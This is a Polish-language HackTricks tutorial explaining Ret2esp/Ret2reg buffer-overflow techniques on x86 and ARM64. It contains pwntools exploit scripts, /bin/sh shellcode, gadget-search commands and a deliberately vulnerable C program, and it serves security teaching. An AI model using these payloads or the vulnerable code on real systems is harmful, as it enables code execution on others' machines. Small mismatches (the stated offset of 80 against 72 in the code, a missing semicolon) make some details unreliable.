Ret2esp / Ret2reg

Reading time: 7 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Ret2esp

Ponieważ ESP (wskaźnik stosu) zawsze wskazuje na szczyt stosu, technika ta polega na zastąpieniu EIP (wskaźnik instrukcji) adresem instrukcji jmp esp lub call esp. Dzięki temu shellcode jest umieszczany tuż po nadpisanym EIP. Gdy instrukcja ret jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.

Jeśli Randomizacja układu przestrzeni adresowej (ASLR) nie jest włączona w systemie Windows lub Linux, możliwe jest użycie instrukcji jmp esp lub call esp znajdujących się w bibliotekach współdzielonych. Jednak przy aktywnym ASLR może być konieczne poszukiwanie tych instrukcji w samym podatnym programie (i może być konieczne pokonanie PIE).

Ponadto, możliwość umieszczenia shellcode po uszkodzeniu EIP, a nie w środku stosu, zapewnia, że wszelkie instrukcje push lub pop wykonywane podczas działania funkcji nie zakłócają shellcode. Taka interferencja mogłaby wystąpić, gdyby shellcode został umieszczony w środku stosu funkcji.

Brak miejsca

Jeśli brakuje Ci miejsca na zapis po nadpisaniu RIP (może tylko kilka bajtów), napisz początkowy shellcode jmp jak:

armasm
sub rsp, 0x30
jmp rsp

I napisz shellcode na początku stosu.

Przykład

Możesz znaleźć przykład tej techniki w https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp z ostatecznym exploitem jak:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Możesz zobaczyć inny przykład tej techniki w https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Istnieje przepełnienie bufora bez włączonego NX, użyto gadżetu do zmniejszenia adresu $esp a następnie jmp esp; aby skoczyć do shellcode:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Podobnie, jeśli znamy funkcję, która zwraca adres, w którym przechowywany jest shellcode, możemy wykorzystać instrukcje call eax lub jmp eax (znane jako technika ret2eax), oferując inny sposób na wykonanie naszego shellcode. Tak jak eax, każdy inny rejestr zawierający interesujący adres mógłby być użyty (ret2reg).

Przykład

Możesz znaleźć kilka przykładów tutaj:

ARM64

Ret2sp

W ARM64 nie ma instrukcji pozwalających na skok do rejestru SP. Może być możliwe znalezienie gadżetu, który przenosi sp do rejestru, a następnie skacze do tego rejestru, ale w libc mojej kali nie mogłem znaleźć żadnego gadżetu takiego jak ten:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Jedynymi, które odkryłem, były te, które zmieniały wartość rejestru, do którego sp został skopiowany przed skokiem do niego (więc stałby się bezużyteczny):

Ret2reg

Jeśli rejestr ma interesujący adres, możliwe jest skoczenie do niego, znajdując odpowiednią instrukcję. Możesz użyć czegoś takiego:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

W ARM64 to x0 przechowuje wartość zwracaną przez funkcję, więc może się zdarzyć, że x0 przechowuje adres bufora kontrolowanego przez użytkownika z shellcode do wykonania.

Example code:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Sprawdzając disassembly funkcji, można zobaczyć, że adres do bufora (wrażliwy na bof i kontrolowany przez użytkownika) jest przechowywany w x0 przed powrotem z przepełnienia bufora:

Można również znaleźć gadżet br x0 w funkcji do_stuff:

Użyjemy tego gadżetu, aby do niego skoczyć, ponieważ binarka jest kompilowana BEZ PIE. Używając wzoru, można zobaczyć, że offset przepełnienia bufora wynosi 80, więc exploit będzie:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

Jeśli zamiast fgets użyto by czegoś takiego jak read, możliwe byłoby ominięcie PIE również przez tylko nadpisanie ostatnich 2 bajtów adresu powrotu, aby wrócić do instrukcji br x0; bez potrzeby znajomości pełnego adresu.
Z fgets to nie działa, ponieważ dodaje bajt null (0x00) na końcu.

Ochrony

  • NX: Jeśli stos nie jest wykonywalny, to nie pomoże, ponieważ musimy umieścić shellcode w stosie i skoczyć, aby go wykonać.
  • ASLR & PIE: Mogą utrudnić znalezienie instrukcji, do której można skoczyć do esp lub innego rejestru.

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks